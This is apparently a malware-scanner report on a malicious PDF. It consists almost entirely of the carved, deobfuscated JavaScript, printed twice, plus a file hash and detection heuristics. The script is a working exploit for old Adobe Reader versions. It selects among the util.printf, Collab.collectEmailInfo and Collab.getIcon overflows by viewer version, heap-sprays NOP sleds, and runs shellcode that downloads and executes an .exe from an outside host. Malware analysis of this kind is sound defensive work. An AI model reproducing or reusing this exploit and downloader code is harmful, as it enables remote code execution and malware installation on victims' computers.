var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u732F%u636F%u736B%u616C%u2E62%u656E%u2F74%u2F32%u6562%u716A%u7572%u7978%u2E33%u7865%u0065");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u732F%u636F%u736B%u616C%u2E62%u656E%u2F74%u2F32%u6362%u7167%u7372%u3376%u652E%u6578%u0000");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from combined JavaScript objects at offset 0x36B 5318 bytes
SHA-256: bda70797a628e97c1781557fe8fa4d9b23fa0e28f9ff551130fab7e1709d1124
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u732F%u636F%u736B%u616C%u2E62%u656E%u2F74%u2F32%u6D62%u716E%u7372%u7675%u3378%u652E%u6578%u0000");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u732F%u636F%u736B%u616C%u2E62%u656E%u2F74%u2F32%u6562%u716A%u7572%u7978%u2E33%u7865%u0065");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u732F%u636F%u736B%u616C%u2E62%u656E%u2F74%u2F32%u6362%u7167%u7372%u3376%u652E%u6578%u0000");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.